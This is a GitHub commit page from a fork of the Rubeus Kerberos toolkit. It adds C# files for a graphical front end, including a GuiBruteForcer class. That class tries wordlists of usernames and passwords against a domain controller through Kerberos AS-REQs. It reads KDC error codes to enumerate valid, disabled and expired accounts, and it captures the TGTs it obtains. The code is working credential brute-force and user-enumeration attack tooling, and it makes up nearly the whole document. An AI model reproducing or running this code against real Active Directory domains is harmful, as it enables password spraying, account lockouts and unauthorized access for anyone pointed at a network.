forked from GhostPack/Rubeus
-
Notifications
You must be signed in to change notification settings - Fork 23
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
61 changed files
with
3,299 additions
and
1,330 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,122 @@ | ||
using System; | ||
using System.Collections.Generic; | ||
using System.Linq; | ||
using System.Text; | ||
using System.Threading.Tasks; | ||
using System.Windows.Media.Imaging; | ||
|
||
namespace RubeusGui | ||
{ | ||
public class BruteResult | ||
{ | ||
|
||
// This class should ideally implement INotifyPropertyChanged but because we're only adding results to the ListView after all properties have been set on them (and then | ||
// they're never changed again), its fine this way | ||
|
||
public BruteResult(string username) | ||
{ | ||
this.Username = username; | ||
} | ||
|
||
public enum CredentialStatus | ||
{ | ||
Unknown, | ||
Error, | ||
UsernameAndPwdValid, | ||
UsernameAndPwdValidButPwdExpired, | ||
UsernameValid, | ||
UsernameValidButDisabled, | ||
UsernameValidButError, | ||
UsernameInvalid | ||
} | ||
|
||
public string Username { get; set; } = string.Empty; | ||
public string Password { get; set; } = string.Empty; | ||
public string ErrorMessage { get; set; } = string.Empty; | ||
public byte[] Tgt { get; set; } | ||
public CredentialStatus Status { get; set; } = CredentialStatus.Unknown; | ||
|
||
public string StatusDescription | ||
{ | ||
get | ||
{ | ||
switch (Status) | ||
{ | ||
case CredentialStatus.UsernameAndPwdValid: | ||
return "Valid username and password!"; | ||
case CredentialStatus.UsernameValid: | ||
return "Valid username"; | ||
case CredentialStatus.UsernameValidButDisabled: | ||
return "Valid username but account is disabled or locked out"; | ||
case CredentialStatus.UsernameValidButError: | ||
return "Valid username but error encountered: " + ErrorMessage; | ||
case CredentialStatus.Error: | ||
return "Error encountered whilst validating username: " + ErrorMessage; | ||
case CredentialStatus.UsernameInvalid: | ||
return "Username not found in domain"; | ||
case CredentialStatus.UsernameAndPwdValidButPwdExpired: | ||
return "Valid username and password but password has expired"; | ||
default: | ||
return "Unknown"; | ||
} | ||
} | ||
} | ||
|
||
public string TgtBase64 | ||
{ | ||
get | ||
{ | ||
if (Tgt == null || Tgt.Length == 0) | ||
{ | ||
return string.Empty; | ||
} | ||
else | ||
{ | ||
return Convert.ToBase64String(Tgt); | ||
} | ||
} | ||
} | ||
public System.Windows.Media.SolidColorBrush ForegroundColor | ||
{ | ||
get | ||
{ | ||
switch (Status) | ||
{ | ||
case CredentialStatus.UsernameAndPwdValid: | ||
return System.Windows.Media.Brushes.LightGreen; | ||
case CredentialStatus.UsernameAndPwdValidButPwdExpired: | ||
return System.Windows.Media.Brushes.LightBlue; | ||
default: | ||
//TODO: See if we can get the default text color instead of hard coding white here | ||
return System.Windows.Media.Brushes.White; | ||
} | ||
} | ||
} | ||
|
||
public BitmapImage Icon | ||
{ | ||
get | ||
{ | ||
switch (Status) | ||
{ | ||
case CredentialStatus.UsernameAndPwdValid: | ||
return new BitmapImage(new Uri("pack://application:,,,/RubeusGui;component/images/ok_16px.png")); | ||
case CredentialStatus.UsernameValid: | ||
return new BitmapImage(new Uri("pack://application:,,,/RubeusGui;component/images/male_user_16px.png")); | ||
case CredentialStatus.UsernameValidButDisabled: | ||
return new BitmapImage(new Uri("pack://application:,,,/RubeusGui;component/images/lock_blue_16px.png")); | ||
case CredentialStatus.UsernameAndPwdValidButPwdExpired: | ||
return new BitmapImage(new Uri("pack://application:,,,/RubeusGui;component/images/ok_grey_16px.png")); | ||
case CredentialStatus.UsernameValidButError: | ||
case CredentialStatus.Error: | ||
return new BitmapImage(new Uri("pack://application:,,,/RubeusGui;component/images/cancel_16px.png")); | ||
case CredentialStatus.UsernameInvalid: | ||
return new BitmapImage(new Uri("pack://application:,,,/RubeusGui;component/images/delete_16px.png")); | ||
default: | ||
return new BitmapImage(new Uri("pack://application:,,,/RubeusGui;component/images/help_16px.png")); | ||
} | ||
} | ||
} | ||
|
||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,76 @@ | ||
using System; | ||
using System.Collections.Generic; | ||
using System.Linq; | ||
using System.Text; | ||
using System.Threading.Tasks; | ||
|
||
namespace RubeusGui | ||
{ | ||
|
||
public enum EncryptionType | ||
{ | ||
Plaintext, | ||
RC4, | ||
DES, | ||
AES128, | ||
AES256 | ||
} | ||
|
||
public class EncryptionDisplayItem | ||
{ | ||
|
||
public EncryptionDisplayItem(EncryptionType encryption) | ||
{ | ||
this.Encryption = encryption; | ||
} | ||
|
||
public EncryptionDisplayItem(EncryptionType encryption, string overrideDisplayName) : this(encryption) | ||
{ | ||
this.OverrideDisplayName = overrideDisplayName; | ||
} | ||
|
||
public EncryptionType Encryption { get; set; } | ||
public string OverrideDisplayName { get; set; } | ||
public string DisplayName | ||
{ | ||
get | ||
{ | ||
if (OverrideDisplayName != null) | ||
{ | ||
return OverrideDisplayName; | ||
} | ||
switch (Encryption) | ||
{ | ||
case EncryptionType.AES128: | ||
return "AES 128"; | ||
case EncryptionType.AES256: | ||
return "AES 256"; | ||
default: | ||
return Encryption.ToString(); | ||
} | ||
} | ||
} | ||
|
||
public Rubeus.Interop.KERB_ETYPE NativeEncryption | ||
{ | ||
get | ||
{ | ||
switch (Encryption) | ||
{ | ||
case EncryptionType.RC4: | ||
return Rubeus.Interop.KERB_ETYPE.rc4_hmac; | ||
case EncryptionType.DES: | ||
return Rubeus.Interop.KERB_ETYPE.des_cbc_md5; | ||
case EncryptionType.AES128: | ||
return Rubeus.Interop.KERB_ETYPE.aes128_cts_hmac_sha1; | ||
case EncryptionType.AES256: | ||
return Rubeus.Interop.KERB_ETYPE.aes256_cts_hmac_sha1; | ||
default: | ||
throw new ApplicationException("Unexpected encryption type in EncryptionDisplay.Encryption property"); | ||
} | ||
} | ||
} | ||
|
||
|
||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,165 @@ | ||
using Rubeus; | ||
using System; | ||
using System.Collections.Generic; | ||
using System.Linq; | ||
using System.Text; | ||
using System.Threading.Tasks; | ||
using System.Threading; | ||
|
||
namespace RubeusGui | ||
{ | ||
// Terrible name I know, but I needed to differentiate it from the built in BruteForcer class in Rubeus (modifying that one to suit the GUI was more hassle than just making this new one) | ||
public class GuiBruteForcer | ||
{ | ||
|
||
public event EventHandler<BruteResult> ResultAdded; | ||
// Normal list of usernames we've already processed (no need for concurrent collection overhead if we're not using Parallel.ForEach) | ||
private List<string> _alreadyProcessedUsers; | ||
// Thread safe list of usernames we've already processed, for if we're using Parallel.ForEach | ||
private System.Collections.Concurrent.ConcurrentBag<string> _alreadyProcessedUsersParallel; | ||
private CancellationTokenSource _cancelToken; | ||
|
||
public void Cancel() | ||
{ | ||
_cancelToken?.Cancel(); | ||
} | ||
|
||
/// <summary> | ||
/// Returns true if it finished testing all usernames and passwords. Returns false if it was cancelled by user before completing | ||
/// </summary> | ||
public bool Run(string domain, string dc, List<string> usernames, List<string> passwords, bool runParallel) | ||
{ | ||
_cancelToken = new CancellationTokenSource(); | ||
if (runParallel) | ||
{ | ||
_alreadyProcessedUsersParallel = new System.Collections.Concurrent.ConcurrentBag<string>(); | ||
ParallelOptions options = new ParallelOptions(); | ||
options.CancellationToken = _cancelToken.Token; | ||
try | ||
{ | ||
Parallel.ForEach(usernames, options, (username, loopState) => | ||
{ | ||
if (options.CancellationToken.IsCancellationRequested) | ||
{ | ||
loopState.Stop(); | ||
} | ||
// Avoid processing duplicate usernames in the wordlist (not really our problem but hey let's try to be helpful) | ||
if (_alreadyProcessedUsersParallel.Contains(username)) | ||
{ | ||
return; | ||
} | ||
else | ||
{ | ||
_alreadyProcessedUsersParallel.Add(username); | ||
TestPasswords(domain, dc, username, passwords); | ||
} | ||
}); | ||
} | ||
catch (OperationCanceledException) | ||
{ | ||
return false; | ||
} | ||
return true; | ||
} | ||
else // If not using multithreading | ||
{ | ||
_alreadyProcessedUsers = new List<string>(); | ||
foreach (string username in usernames) | ||
{ | ||
if (_cancelToken.IsCancellationRequested) | ||
{ | ||
return false; | ||
} | ||
// Avoid processing duplicate usernames in the wordlist (not really our problem but hey let's try to be helpful) | ||
if (_alreadyProcessedUsers.Contains(username)) | ||
{ | ||
continue; | ||
} | ||
else | ||
{ | ||
_alreadyProcessedUsers.Add(username); | ||
TestPasswords(domain, dc, username, passwords); | ||
} | ||
} | ||
return true; | ||
} | ||
} | ||
|
||
private void TestPasswords(string domain, string dc, string username, List<string> passwords) | ||
{ | ||
BruteResult result = new BruteResult(username); | ||
foreach (string password in passwords) | ||
{ | ||
if (_cancelToken != null && _cancelToken.IsCancellationRequested) | ||
{ | ||
break; | ||
} | ||
bool tryMorePasswords = false; | ||
try | ||
{ | ||
try | ||
{ | ||
Interop.KERB_ETYPE etype = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; | ||
string hash = Helpers.EncryptPassword(domain, username, password, etype); | ||
byte[] tgtBytes = Ask.InnerTGT(AS_REQ.NewASReq(username, domain, hash, etype), etype, null, false, dc); | ||
// If we made it this far then credentials must be valid | ||
result.Password = password; | ||
result.Status = BruteResult.CredentialStatus.UsernameAndPwdValid; | ||
result.Tgt = tgtBytes; | ||
} | ||
catch (KerberosErrorException kerbEx) | ||
{ | ||
// Most kerberos errors will only appear if the username is valid (other than C_PRINCIPAL_UNKNOWN) so if we're hitting this Catch block then assume the username is valid | ||
|
||
var errorInfo = (Interop.KERBEROS_ERROR)kerbEx.NativeKrbError.error_code; | ||
switch (errorInfo) | ||
{ | ||
// PREAUTH_FAILED is returned when we try an incorrect password with a valid username, so its the only scenario where we actually want to keep trying | ||
// more passwords and not just record the error and skip to the next user | ||
case Interop.KERBEROS_ERROR.KDC_ERR_PREAUTH_FAILED: | ||
tryMorePasswords = true; | ||
result.Status = BruteResult.CredentialStatus.UsernameValid; | ||
break; | ||
case Interop.KERBEROS_ERROR.KDC_ERR_C_PRINCIPAL_UNKNOWN: | ||
result.Status = BruteResult.CredentialStatus.UsernameInvalid; | ||
break; | ||
case Interop.KERBEROS_ERROR.KDC_ERR_KEY_EXPIRED: | ||
result.Password = password; | ||
result.Status = BruteResult.CredentialStatus.UsernameAndPwdValidButPwdExpired; | ||
break; | ||
case Interop.KERBEROS_ERROR.KDC_ERR_CLIENT_REVOKED: | ||
result.Status = BruteResult.CredentialStatus.UsernameValidButDisabled; | ||
break; | ||
default: | ||
// If we got any other kerberos error then the username is almost certainly valid as we did not get KDC_ERR_C_PRINCIPAL_UNKNOWN | ||
result.Status = BruteResult.CredentialStatus.UsernameValid; | ||
// Feels a bit janky throwing an exception here just to catch it a couple of lines later but I still prefer it over the alternatives | ||
throw new RubeusException("Server responded with error code " + (int)errorInfo + " (" + errorInfo + ") - " + Helpers.GetFriendlyNameForKrbErrorCode(errorInfo)); | ||
} | ||
} | ||
} | ||
catch (Exception ex) // Catch any general exceptions as well as any kerberos ones we re-threw above | ||
{ | ||
if (result.Status == BruteResult.CredentialStatus.UsernameValid) | ||
{ | ||
result.Status = BruteResult.CredentialStatus.UsernameValidButError; | ||
} | ||
else | ||
{ | ||
result.Status = BruteResult.CredentialStatus.Error; | ||
} | ||
result.ErrorMessage = ex.Message; | ||
} | ||
|
||
// If we got valid credentials or a fatal error for this user (disabled, unknown principal etc), don't try any more passwords and just skip to next user | ||
if (!tryMorePasswords) | ||
{ | ||
break; | ||
} | ||
} // End of password loop for this user | ||
|
||
ResultAdded?.Invoke(this, result); | ||
} | ||
|
||
} | ||
} |
Oops, something went wrong.